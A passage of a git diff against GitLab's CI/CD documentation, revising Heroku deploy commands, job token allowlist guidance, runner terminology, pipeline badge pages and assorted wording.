--api_key=$HEROKU_STAGING_API_KEY only: - main environment: staging @@ -92,7 +92,7 @@ staging: stage: deploy script: - gem install dpl - - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY + - dpl heroku api --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY only: - main environment: staging @@ -101,7 +101,7 @@ production: stage: deploy script: - gem install dpl - - dpl --provider=heroku --app=my-app-production --api_key=$HEROKU_PRODUCTION_API_KEY + - dpl heroku api --app=my-app-production --api_key=$HEROKU_PRODUCTION_API_KEY only: - tags environment: production diff --git a/doc/ci/examples/index.md b/doc/ci/examples/index.md index c8ad653e41f..6738c55b6fa 100644 --- a/doc/ci/examples/index.md +++ b/doc/ci/examples/index.md @@ -111,7 +111,7 @@ that contains examples and templates specific to your organization. ## Other resources This section provides further resources to help you get familiar with various uses of GitLab CI/CD. -Note that older articles and videos may not reflect the state of the latest GitLab release. +Older articles and videos may not reflect the state of the latest GitLab release. ### CI/CD in the cloud diff --git a/doc/ci/examples/semantic-release.md b/doc/ci/examples/semantic-release.md index 1fa526e787a..9f299448d52 100644 --- a/doc/ci/examples/semantic-release.md +++ b/doc/ci/examples/semantic-release.md @@ -35,7 +35,7 @@ You can also view or fork the complete [example source](https://gitlab.com/gitla } ``` -1. Update the `files` key with glob patterns that selects all files that should be included in the published module. More information about `files` can be found [in npm's documentation](https://docs.npmjs.com/cli/v6/configuring-npm/package-json/#files). +1. Update the `files` key with glob patterns that selects all files that should be included in the published module. More information about `files` can be found [in the npm documentation](https://docs.npmjs.com/cli/v6/configuring-npm/package-json/#files). 1. Add a `.gitignore` file to the project to avoid committing `node_modules`: @@ -90,7 +90,7 @@ As part of publishing a package, semantic-release increases the version number i <!-- markdownlint-disable MD044 --> -1. On the top bar, on the top right, select your avatar. +1. On the top bar, in the upper right, select your avatar. 1. On the left sidebar, select **Access Tokens**. 1. In the **Token name** box, enter a token name. 1. Under **select scopes**, select the **api** checkbox. diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md index 0f206b3fceb..07ba3d8f916 100644 --- a/doc/ci/git_submodules.md +++ b/doc/ci/git_submodules.md @@ -67,7 +67,7 @@ To make submodules work correctly in CI/CD jobs: GIT_SUBMODULE_DEPTH: 1 ``` -1. You can filter or exclude specific submodules to control which submodules will be synced using +1. You can filter or exclude specific submodules to control which submodules are synchronized using [`GIT_SUBMODULE_PATHS`](runners/configure_runners.md#sync-or-exclude-specific-submodules-from-ci-jobs). ```yaml diff --git a/doc/ci/index.md b/doc/ci/index.md index 63db23f8c48..ea48a5e461d 100644 --- a/doc/ci/index.md +++ b/doc/ci/index.md @@ -129,8 +129,6 @@ See also: ## Related topics -Learn more about GitLab CI/CD: - - [Why you might choose GitLab CI/CD](https://about.gitlab.com/blog/2016/10/17/gitlab-ci-oohlala/). - [Reasons you might migrate from another platform](https://about.gitlab.com/blog/2016/07/22/building-our-web-app-on-gitlab-ci/). - [Five teams that made the switch to GitLab CI/CD](https://about.gitlab.com/blog/2019/04/25/5-teams-that-made-the-switch-to-gitlab-ci-cd/). diff --git a/doc/ci/interactive_web_terminal/index.md b/doc/ci/interactive_web_terminal/index.md index 44c081b9d7f..c7fb94535ff 100644 --- a/doc/ci/interactive_web_terminal/index.md +++ b/doc/ci/interactive_web_terminal/index.md @@ -54,7 +54,7 @@ Not all executors are NOTE: The `docker` executor does not keep running after the build script is finished. At that point, the terminal automatically -disconnects and does not wait for the user to finish. Please follow +disconnects and does not wait for the user to finish. Follow [this issue](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3605) for updates on improving this behavior. @@ -66,7 +66,7 @@ for the current job.  When selected, a new tab opens to the terminal page where you can access -the terminal and type commands like a normal shell. +the terminal and type commands like in a standard shell.  diff --git a/doc/ci/jobs/ci_job_token.md b/doc/ci/jobs/ci_job_token.md index 4ae4456c56c..d9cfbdf124e 100644 --- a/doc/ci/jobs/ci_job_token.md +++ b/doc/ci/jobs/ci_job_token.md @@ -61,26 +61,96 @@ your [runners](../runners/index.md) to be secure. Avoid: If you have an insecure GitLab Runner configuration, you increase the risk that someone tries to steal tokens from other jobs. -## Limit GitLab CI/CD job token access +## Configure CI/CD job token access -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328553) in GitLab 14.1. [Deployed behind the `:ci_scoped_job_token` feature flag](../../user/feature_flags.md), disabled by default. -> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/332272) in GitLab 14.4. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/332272) in GitLab 14.6. - -You can limit the access scope of a project's CI/CD job token to increase the +You can control what projects a CI/CD job token can access to increase the job token's security. A job token might give extra permissions that aren't necessary to access specific private resources. -If a job token is leaked it could potentially be used to access data that is private + +If a job token is leaked, it could potentially be used to access private data to the job token's user. By limiting the job token access scope, private data cannot be accessed unless projects are explicitly authorized. -Control the job token access scope with an allowlist of other projects authorized -to be accessed by authenticating with the current project's job token. By default -the token scope only allows access to the same project where the token comes from. +There is a proposal to add more strategic control of the access permissions, +see [epic 3559](https://gitlab.com/groups/gitlab-org/-/epics/3559). + +### Allow access to your project with a job token + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/346298/) in GitLab 15.9. [Deployed behind the `:inbound_ci_scoped_job_token` feature flag](../../user/feature_flags.md), enabled by default. + +Control your project's job token scope by creating an **inbound** allowlist of projects which can +access your project through its `CI_JOB_TOKEN`. + +For example, you can add project `B` to the inbound allowlist for project `A`. Jobs +in the pipeline for "allowed project" `B` can now use the CI/CD job token to authenticate +API calls to access project `A`. + +By default the allowlist includes your current project. + +It is a security risk to disable this feature, so project maintainers or owners should +keep this setting enabled at all times. Add projects to the allowlist only when cross-project +access is needed. + +### Disable the inbound job token scope allowlist + +WARNING: +It is a security risk to disable the allowlist. A malicious user could try to compromise +a pipeline created in an unauthorized project. If the pipeline was created by one of +your maintainers, the job token could be used in an attempt to access your project. + +You can disable the inbound job token scope allowlist for testing or a similar reason, +but you should enable it again as soon as possible. + +Prerequisite: + +- You must have at least the Maintainer role for the project. + +To disable the inbound job token scope allowlist: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **Token Access**. +1. Toggle **Allow access to this project with a CI_JOB_TOKEN** to disabled. + Enabled by default in new projects. + +### Add a project to the inbound job token scope allowlist + +You can add projects to the inbound allowlist for a project. Projects added to the allowlist +can make API calls from running pipelines by using the CI/CD job token. + +Prerequisite: + +- You must have at least the Maintainer role in the current project and at least + the Guest role in the allowed project. +- You must not have more than 100 projects added to the allowlist. + +To add a project: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **Token Access**. +1. Verify **Allow access to this project with a CI_JOB_TOKEN** is enabled. +1. Under **Allow CI job tokens from the following projects to access this project**, + add projects to the allowlist. + +### Limit your project's job token access + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328553) in GitLab 14.1. [Deployed behind the `:ci_scoped_job_token` feature flag](../../user/feature_flags.md), disabled by default. +> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/332272) in GitLab 14.4. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/332272) in GitLab 14.6. + +NOTE: +This feature is disabled by default for all new projects and is [scheduled for removal](https://gitlab.com/gitlab-org/gitlab/-/issues/383084) +in GitLab 16.0. Project maintainers or owners should enable the **inbound** access control instead. + +Control your project's job token scope by creating an **outbound** allowlist of projects which +can be accessed by your project's job token. + +By default, the allowlist includes your current project. Other projects can be added and removed by maintainers with access to both projects. -This setting is disabled by default for all new projects. It is recommended that project maintainers or owners enable this -setting at all times, and configure the allowlist for cross-project access if needed. +With the setting disabled, all projects are considered in the allowlist and the job token is +limited only by the user's access permissions. For example, when the setting is enabled, jobs in a pipeline in project `A` have a `CI_JOB_TOKEN` scope limited to project `A`. If the job needs to use the token @@ -88,7 +158,13 @@ to make an API request to a private project `B`, then `B` must be added to the a If project `B` is public or internal, it's not required to be added to the allowlist. The job token scope is only for controlling access to private projects. -### Configure the job token scope limit +### Configure the outbound job token scope + +Prerequisite: + +- You must not have more than 100 projects added to the token's scope. + +To configure the outbound job token scope: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Settings > CI/CD**. @@ -97,9 +173,6 @@ The job token scope is only for controlling access to private projects. 1. Optional. Add existing projects to the token's access scope. The user adding a project must have the Maintainer role in both projects. -There is [a proposal](https://gitlab.com/groups/gitlab-org/-/epics/3559) to improve -the feature with more strategic control of the access permissions. - ## Download an artifact from a different pipeline **(PREMIUM)** > `CI_JOB_TOKEN` for artifacts download with the API was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2346) in GitLab 9.5. @@ -157,10 +230,10 @@ CI job token failures are usually shown as responses like `404 Not Found` or sim While troubleshooting CI/CD job token authentication issues, be aware that: -- When the [CI/CD job token limit](#limit-gitlab-cicd-job-token-access) is enabled, +- When the [CI/CD job token scopes](#configure-cicd-job-token-access) are enabled, and the job token is being used to access a different project: - The user that executes the job must be a member of the project that is being accessed. - The user must have the [permissions](../../user/permissions.md) to perform the action. - - The target project must be [allowlisted for the job token scope limit](#configure-the-job-token-scope-limit). + - The accessed project must have the project attempting to access it [added to the inbound allowlist](#add-a-project-to-the-inbound-job-token-scope-allowlist). - The CI job token becomes invalid if the job is no longer running, has been erased, or if the project is in the process of being deleted. diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md index 753a755cbf3..5e69ecff7b8 100644 --- a/doc/ci/jobs/index.md +++ b/doc/ci/jobs/index.md @@ -40,7 +40,8 @@ When you access a pipeline, you can see the related jobs for that pipeline. Selecting an individual job shows you its job log, and allows you to: - Cancel the job. -- Retry the job. +- Retry the job, if it failed. +- Run the job again, if it passed. - Erase the job log. ### View all jobs in a project @@ -271,9 +272,11 @@ the pipeline view, *not* the play (**{play}**) button. Define CI/CD variables here when you want to alter the execution of a job that uses [CI/CD variables](../variables/index.md). -Add a variable name (key) and value to [override the value](../variables/index.md#override-a-defined-cicd-variable) -defined in the UI or `.gitlab-ci.yml` -for a single run of the manual job. + +If you add a variable that is already defined in the CI/CD settings or `.gitlab-ci.yml` file, +the [variable is overridden](../variables/index.md#override-a-defined-cicd-variable) with the new value. +Any variables overridden by using this process are [expanded](../variables/index.md#prevent-cicd-variable-expansion) +and not [masked](../variables/index.md#mask-a-cicd-variable).  @@ -336,7 +339,7 @@ In the example above: - `date +%s`: The Unix timestamp (for example `1560896352`). - `my_first_section`: The name given to the section. - `\r\e[0K`: Prevents the section markers from displaying in the rendered (colored) - job log, but they are displayed in the raw job log. To see them, in the top right + job log, but they are displayed in the raw job log. To see them, in the upper right of the job log, select **{doc-text}** (**Show complete raw**). - `\r`: carriage return. - `\e[0K`: clear line ANSI escape code. diff --git a/doc/ci/lint.md b/doc/ci/lint.md index c297cab1822..74e0f0cd5ef 100644 --- a/doc/ci/lint.md +++ b/doc/ci/lint.md @@ -26,7 +26,7 @@ To check CI/CD configuration with the CI lint tool: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **CI/CD > Pipelines**. -1. In the top right, select **CI lint**. +1. In the upper right, select **CI lint**. 1. Paste a copy of the CI/CD configuration you want to check into the text box. 1. Select **Validate**. @@ -47,7 +47,7 @@ To simulate a pipeline: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **CI/CD > Pipelines**. -1. In the top right, select **CI lint**. +1. In the upper right, select **CI lint**. 1. Paste a copy of the CI/CD configuration you want to check into the text box. 1. Select **Simulate pipeline creation for the default branch**. 1. Select **Validate**. diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index 63e9993be90..71deaadf9ec 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -99,7 +99,7 @@ Some high level differences between the products worth mentioning are: feature. - The [`parallel`](../yaml/index.md#parallel) keyword can automatically parallelize tasks, like tests that support parallelization. -- Normally all jobs in a single stage run in parallel, and all stages run in sequence. +- Usually all jobs in a single stage run in parallel, and all stages run in sequence. Different [pipeline architectures](../pipelines/pipeline_architectures.md) allow you to change this behavior. - The new [`rules` syntax](../yaml/index.md#rules) is the recommended method of controlling when different jobs run. It is more powerful than the `only/except` syntax. diff --git a/doc/ci/pipeline_editor/index.md b/doc/ci/pipeline_editor/index.md index c4416d41ab4..727977b3bc8 100644 --- a/doc/ci/pipeline_editor/index.md +++ b/doc/ci/pipeline_editor/index.md @@ -70,7 +70,7 @@ simulations in the [CI Lint tool](../lint.md#simulate-a-pipeline). > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/357219) in GitLab 15.1. You can review configuration added with the [`include`](../yaml/index.md#include) -keyword in the pipeline editor. In the top right, select the file tree (**{file-tree}**) +keyword in the pipeline editor. In the upper right, select the file tree (**{file-tree}**) to see a list of all included configuration files. Selected files open in a new tab for review. diff --git a/doc/ci/pipelines/cicd_minutes.md b/doc/ci/pipelines/cicd_minutes.md index e69c510291d..4cbaa77b029 100644 --- a/doc/ci/pipelines/cicd_minutes.md +++ b/doc/ci/pipelines/cicd_minutes.md @@ -33,7 +33,7 @@ On self-managed GitLab instances: - Administrators can [assign more CI/CD minutes](#set-the-quota-of-cicd-minutes-for-a-specific-namespace) if a namespace uses all the CI/CD minutes in its monthly quota. -[Specific runners](../runners/runners_scope.md#specific-runners) are not subject to a quota of CI/CD minutes. +[Project runners](../runners/runners_scope.md#project-runners) are not subject to a quota of CI/CD minutes. ## Set the quota of CI/CD minutes for all namespaces @@ -111,7 +111,7 @@ subgroups, sorted in descending order of CI/CD minute usage. You can view the number of CI/CD minutes being used by a personal namespace: -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Usage Quotas**. @@ -161,7 +161,7 @@ namespace. To purchase additional minutes for your personal namespace: -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Usage Quotas**. 1. Select **Buy additional minutes**. GitLab redirects you to the Customers Portal. @@ -216,9 +216,9 @@ The cost factors on self-managed instances are: #### Cost factor for community contributions to GitLab projects -Community contributors can use up to 300,000 minutes on shared runners when contributing to open source projects +Community contributors can use up to 300,000 minutes on shared runners when contributing to open source projects maintained by GitLab. The maximum of 300,000 minutes would only be possible if contributing exclusively to projects [part of the GitLab product](https://about.gitlab.com/handbook/engineering/metrics/#projects-that-are-part-of-the-product). The total number of minutes available on shared runners -is reduced by the CI/CD minutes used by pipelines from other projects. +is reduced by the CI/CD minutes used by pipelines from other projects. The 300,000 minutes applies to all SaaS tiers, and the cost factor calculation is: - `Monthly minute quota / 300,000 job duration minutes = Cost factor` @@ -288,7 +288,7 @@ processing new jobs. The grace period for running jobs is `1,000` CI/CD minutes. -Jobs on specific runners are not affected by the quota of CI/CD minutes. +Jobs on project runners are not affected by the quota of CI/CD minutes. ### GitLab SaaS usage notifications diff --git a/doc/ci/pipelines/downstream_pipelines.md b/doc/ci/pipelines/downstream_pipelines.md index 1ada4c4fac1..e4560cd882d 100644 --- a/doc/ci/pipelines/downstream_pipelines.md +++ b/doc/ci/pipelines/downstream_pipelines.md @@ -68,8 +68,8 @@ Multi-project pipelines: - Are visible in the downstream project's pipeline list. - Are independent, so there are no nesting limits. -Learn more in the "Cross-project Pipeline Triggering and Visualization" demo at -[GitLab@learn](https://about.gitlab.com/learn/), in the Continuous Integration section. +For more information, see the **Cross-project Pipeline Triggering and Visualization** demo at +[GitLab@learn](https://about.gitlab.com/learn/) in the **Continuous Integration** section. If you use a public project to trigger downstream pipelines in a private project, make sure there are no confidentiality problems. The upstream project's pipelines page @@ -473,6 +473,7 @@ a few different methods, based on where the variable is created or defined. ### Pass YAML-defined CI/CD variables You can use the `variables` keyword to pass CI/CD variables to a downstream pipeline. +These variables are "trigger variables" for [variable precedence](../variables/index.md#cicd-variable-precedence). For example: diff --git a/doc/ci/pipelines/img/pipelines_settings_badges.png b/doc/ci/pipelines/img/pipelines_settings_badges.png Binary files differdeleted file mode 100644 index 3bdc6374c15..00000000000 --- a/doc/ci/pipelines/img/pipelines_settings_badges.png +++ /dev/null diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md index 324a2fa3ef9..fa04cb6cb92 100644 --- a/doc/ci/pipelines/index.md +++ b/doc/ci/pipelines/index.md @@ -136,7 +136,7 @@ and [view your pipeline status](https://marketplace.visualstudio.com/items?itemN Pipelines can be manually executed, with predefined or manually-specified [variables](../variables/index.md). -You might do this if the results of a pipeline (for example, a code build) are required outside the normal +You might do this if the results of a pipeline (for example, a code build) are required outside the standard operation of the pipeline. To execute a pipeline manually: @@ -145,7 +145,7 @@ To execute a pipeline manually: 1. On the left sidebar, select **CI/CD > Pipelines**. 1. Select **Run pipeline**. 1. In the **Run for branch name or tag** field, select the branch or tag to run the pipeline for. -1. Enter any [environment variables](../variables/index.md) required for the pipeline to run. +1. Enter any [CI/CD variables](../variables/index.md) required for the pipeline to run. You can set specific variables to have their [values prefilled in the form](#prefill-variables-in-manual-pipelines). 1. Select **Run pipeline**. @@ -163,32 +163,34 @@ information such as what the variable is used for, and what the acceptable value Job-level variables cannot be pre-filled. In manually-triggered pipelines, the **Run pipeline** page displays all pipeline-level variables -with a `description` defined in the `.gitlab-ci.yml` file. The description displays +that have a `description` defined in the `.gitlab-ci.yml` file. The description displays below the variable. -You can change the prefilled value, which overrides the value for that single pipeline run. -If you do not define a `value` for the variable in the configuration file, the variable still displays, +You can change the prefilled value, which [overrides the value](../variables/index.md#override-a-defined-cicd-variable) for that single pipeline run. +Any variables overridden by using this process are [expanded](../variables/index.md#prevent-cicd-variable-expansion) +and not [masked](../variables/index.md#mask-a-cicd-variable). +If you do not define a `value` for the variable in the configuration file, the variable name is still listed, but the value field is blank. For example: ```yaml variables: - TEST_SUITE: - description: "The test suite that will run. Valid options are: 'default', 'short', 'full'." - value: "default" + DEPLOY_CREDENTIALS: + description: "The deployment credentials." DEPLOY_ENVIRONMENT: description: "Select the deployment target. Valid options are: 'canary', 'staging', 'production', or a stable branch of your choice." + value: "canary" ``` In this example: -- `TEST_SUITE` is pre-filled in the **Run pipeline** page with `default`, - and the message explains the other options. -- `DEPLOY_ENVIRONMENT` is listed in the **Run pipeline** page, but with no value set. +- `DEPLOY_CREDENTIALS` is listed in the **Run pipeline** page, but with no value set. The user is expected to define the value each time the pipeline is run manually. +- `DEPLOY_ENVIRONMENT` is pre-filled in the **Run pipeline** page with `canary` as the default value, + and the message explains the other options. -##### Configure a list of selectable values for a prefilled variable +#### Configure a list of selectable prefilled variable values > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/363660) in GitLab 15.5 [with a flag](../../administration/feature_flags.md) named `run_pipeline_graphql`. Disabled by default. > - The `options` keyword was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105502) in GitLab 15.7. @@ -425,7 +427,7 @@ You can group the jobs by: you visualize the entire pipeline, including all cross-project inter-dependencies. If a stage contains more than 100 jobs, only the first 100 jobs are listed in the -pipeline graph. The remaining jobs still run as normal. To see the jobs: +pipeline graph. The remaining jobs still run as usual. To see the jobs: - Select the pipeline, and the jobs are listed on the right side of the pipeline details page. - On the left sidebar, select **CI/CD > Jobs**. diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md index bd788cfd3eb..75c9852d3d0 100644 --- a/doc/ci/pipelines/job_artifacts.md +++ b/doc/ci/pipelines/job_artifacts.md @@ -264,7 +264,7 @@ artifacts and log. You must be: To delete a job: 1. Go to a job's detail page. -1. On the top right of the job's log, select **Erase job log** (**{remove}**). +1. In the upper right of the job's log, select **Erase job log** (**{remove}**). 1. On the confirmation dialog, select **OK**. ## Expose job artifacts in the merge request UI @@ -385,6 +385,10 @@ a project, you can disable this behavior to save space: You can disable this behavior for all projects on a self-managed instance in the [instance's CI/CD settings](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines). +When **Keep artifacts from most recent successful jobs** is enabled, artifacts are always kept for [blocked](../jobs/job_control.md#types-of-manual-jobs) +pipelines. These artifacts expire only after the blocking job is triggered and the pipeline completes. +For more information, see [issue 387087](https://gitlab.com/gitlab-org/gitlab/-/issues/387087). + ## Troubleshooting ### Job does not retrieve certain artifacts diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md index 1e4d32fc331..e4a3416f60b 100644 --- a/doc/ci/pipelines/pipeline_architectures.md +++ b/doc/ci/pipelines/pipeline_architectures.md @@ -13,7 +13,7 @@ some of the important concepts related to them. You can structure your pipelines with different methods, each with their own advantages. These methods can be mixed and matched if needed: -- [Basic](#basic-pipelines): Good for straightforward projects where all the configuration is in one easy to find place. +- [Basic](#basic-pipelines): Good for straightforward projects where all the configuration is in one easy-to-find place. - [Directed Acyclic Graph](#directed-acyclic-graph-pipelines): Good for large, complex projects that need efficient execution. - [Parent-child pipelines](#parent-child-pipelines): Good for monorepos and projects with lots of independently defined components. diff --git a/doc/ci/pipelines/pipeline_efficiency.md b/doc/ci/pipelines/pipeline_efficiency.md index 0952fdf1f8f..0795005aa8e 100644 --- a/doc/ci/pipelines/pipeline_efficiency.md +++ b/doc/ci/pipelines/pipeline_efficiency.md @@ -101,7 +101,7 @@ representation of pipeline health. Instance administrators have access to additional [performance metrics and self-monitoring](../../administration/monitoring/index.md). -You can fetch specific pipeline health metrics from the [API](../../api/index.md). +You can fetch specific pipeline health metrics from the [API](../../api/rest/index.md). External monitoring tools can poll the API and verify pipeline health or collect metrics for long term SLA analytics. @@ -254,7 +254,7 @@ Document CI/CD pipeline problems and incidents in issues, including research don and solutions found. This helps onboarding new team members, and also helps identify recurring problems with CI pipeline efficiency. -### Learn More +### Related topics - [CI Monitoring Webcast Slides](https://docs.google.com/presentation/d/1ONwIIzRB7GWX-WOSziIIv8fz1ngqv77HO1yVfRooOHM/edit?usp=sharing) - [GitLab.com Monitoring Handbook](https://about.gitlab.com/handbook/engineering/monitoring/) diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md index cd696d816d7..3633863915c 100644 --- a/doc/ci/pipelines/settings.md +++ b/doc/ci/pipelines/settings.md @@ -311,149 +311,8 @@ lein cloverage | perl -pe 's/\e\[?.*?[\@-~]//g' ## Pipeline badges -Pipeline badges indicate the pipeline status and a test coverage value -for your project. These badges are determined by the latest successful pipeline. - -## Latest release badge - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33368) in GitLab 14.8. - -A latest release badge indicates the latest release tag name for your project. -By default, the badge fetches the release sorted using the [`released_at`](../../api/releases/index.md#create-a-release) time. -Support for [`semver`](https://semver.org/) sorting is tracked [in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/352945). - -### View the code for the pipeline status, coverage reports, and latest release badges - -You can view the exact link for your badges. Then you can embed the badge in your HTML -or Markdown pages. - -1. On the top bar, select **Main menu > Projects** and find your project. -1. On the left sidebar, select **Settings > CI/CD**. -1. Expand **General pipelines**. -1. In the **Pipeline status**, **Coverage report**, or **Latest release** sections, view the URLs for the images. - - - -### Pipeline status badge - -Depending on the status of your pipeline, a badge can have the following values: - -- `pending` -- `running` -- `passed` -- `failed` -- `skipped` -- `manual` -- `canceled` -- `unknown` - -You can access a pipeline status badge image by using the following link: - -```plaintext -https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg -``` - -#### Display only non-skipped status - -To make the pipeline status badge display only the last non-skipped status, use the `?ignore_skipped=true` query parameter: - -```plaintext -https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg?ignore_skipped=true -``` - -### Test coverage report badge - -You can define the regular expression for the [coverage report](#merge-request-test-coverage-results) that each job log -is matched against. This means that each job in the pipeline can have the test coverage percentage value defined. - -To access the test coverage badge, use the following link: - -```plaintext -https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg -``` - -To get the coverage report from a specific job, add -the `job=coverage_job_name` parameter to the URL. For example, you can use code -similar to the following to add the test coverage report badge of the `coverage` job -to a Markdown file: - -```markdown - -``` - -#### Test coverage report badge colors and limits - -The default colors and limits for the badge are as follows: - -- 95 up to and including 100% - good (`#4c1`) -- 90 up to 95% - acceptable (`#a3c51c`) -- 75 up to 90% - medium (`#dfb317`) -- 0 up to 75% - low (`#e05d44`) -- no coverage - unknown (`#9f9f9f`) - -NOTE: -*Up to* means up to, but not including, the upper bound. - -You can overwrite the limits by using the following additional parameters ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28317) in GitLab 14.4): - -- `min_good` (default 95, can use any value between 3 and 100) -- `min_acceptable` (default 90, can use any value between 2 and min_good-1) -- `min_medium` (default 75, can use any value between 1 and min_acceptable-1) - -If an invalid boundary is set, GitLab automatically adjusts it to be valid. For example, -if `min_good` is set `80`, and `min_acceptable` is set to `85` (too high), GitLab automatically -sets `min_acceptable` to `79` (`min_good` - `1`). - -### Latest release badge - -When a release exists in your project, it shows the latest release tag name. If there is no release, -it shows `none`. - -You can access a latest release badge image by using the following link: - -```plaintext -https://gitlab.example.com/<namespace>/<project>/-/badges/release.svg -``` - -#### Sorting preferences - -By default, the latest release badge fetches the release using `release_at` time. The use of the query parameter `?order_by=release_at` is optional, and support for `?order_by=semver` is tracked [in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/352945): - -```plaintext -https://gitlab.example.com/<namespace>/<project>/-/badges/release.svg?order_by=release_at -``` - -### Badge styles - -Pipeline badges can be rendered in different styles by adding the `style=style_name` parameter to the URL. Two styles are available: - -- Flat (default): - - ```plaintext - https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat - ``` - -  - -- Flat square ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30120) in GitLab 11.8): - - ```plaintext - https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat-square - ``` - -  - -### Custom badge text - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17555) in GitLab 13.1. - -The text for a badge can be customized to differentiate between multiple coverage jobs that run in the same pipeline. Customize the badge text and width by adding the `key_text=custom_text` and `key_width=custom_key_width` parameters to the URL: - -```plaintext -https://gitlab.com/gitlab-org/gitlab/badges/main/coverage.svg?job=karma&key_text=Frontend+Coverage&key_width=130 -``` - - +You can use [pipeline badges](../../user/project/badges.md) to indicate the pipeline status and +test coverage of your projects. These badges are determined by the latest successful pipeline. <!-- ## Troubleshooting diff --git a/doc/ci/resource_groups/index.md b/doc/ci/resource_groups/index.md index b46008abb07..7cf71f2a3ea 100644 --- a/doc/ci/resource_groups/index.md +++ b/doc/ci/resource_groups/index.md @@ -235,7 +235,7 @@ If the process mode is `oldest_first`, it executes the jobs from the oldest pipe However, a child pipeline also requires a resource from the `production` resource group. Because the child pipeline is newer than the parent pipeline, the child pipeline -waits until the `deploy` job is finished, something that will never happen. +waits until the `deploy` job is finished, something that never happens. In this case, you should specify the `resource_group` keyword in the parent pipeline configuration instead: diff --git a/doc/ci/runners/configure_runners.md b/doc/ci/runners/configure_runners.md index 28a856e3dda..0fd4bff1bff 100644 --- a/doc/ci/runners/configure_runners.md +++ b/doc/ci/runners/configure_runners.md @@ -28,7 +28,7 @@ On GitLab.com, you cannot override the job timeout for shared runners and must u To set the maximum job timeout: 1. In a project, go to **Settings > CI/CD > Runners**. -1. Select your specific runner to edit the settings. +1. Select your project runner to edit the settings. 1. Enter a value under **Maximum job timeout**. Must be 10 minutes or more. If not defined, the [project's job timeout setting](../pipelines/settings.md#set-a-limit-for-how-long-jobs-can-run) is used. @@ -89,7 +89,7 @@ To protect or unprotect a runner: 1. Check the **Protected** option. 1. Select **Save changes**. - + ### Forks @@ -150,7 +150,7 @@ the source of the HTTP requests it makes to GitLab when polling for jobs. The IP address is always kept up to date so if the runner IP changes it automatically updates in GitLab. -The IP address for shared runners and specific runners can be found in +The IP address for shared runners and project runners can be found in different places. ### Determine the IP address of a shared runner @@ -164,16 +164,16 @@ the GitLab instance. To determine this:  -### Determine the IP address of a specific runner +### Determine the IP address of a project runner -To can find the IP address of a runner for a specific project, +To can find the IP address of a runner for a project project, you must have the Owner role for the project. 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. 1. On the details page you should see a row for **IP Address**. - + ## Use tags to control which jobs a runner can run @@ -355,7 +355,7 @@ try to preserve worktrees and try to re-use them by default. This has limitations when using the [Docker Machine executor](https://docs.gitlab.com/runner/executors/docker_machine.html). A Git strategy of `none` also re-uses the local working copy, but skips all Git -operations normally done by GitLab. GitLab Runner pre-clone scripts are also skipped, +operations usually done by GitLab. GitLab Runner pre-clone scripts are also skipped, if present. This strategy could mean you need to add `fetch` and `checkout` commands to [your `.gitlab-ci.yml` script](../yaml/index.md#script). @@ -535,14 +535,14 @@ You can set it globally or per-job in the [`variables`](../yaml/index.md#variabl `GIT_SUBMODULE_UPDATE_FLAGS` accepts all options of the [`git submodule update`](https://git-scm.com/docs/git-submodule#Documentation/git-submodule.txt-update--init--remote-N--no-fetch--no-recommend-shallow-f--force--checkout--rebase--merge--referenceltrepositorygt--depthltdepthgt--recursive--jobsltngt--no-single-branch--ltpathgt82308203) -subcommand. However, note that `GIT_SUBMODULE_UPDATE_FLAGS` flags are appended after a few default flags: +subcommand. However, `GIT_SUBMODULE_UPDATE_FLAGS` flags are appended after a few default flags: - `--init`, if [`GIT_SUBMODULE_STRATEGY`](#git-submodule-strategy) was set to `normal` or 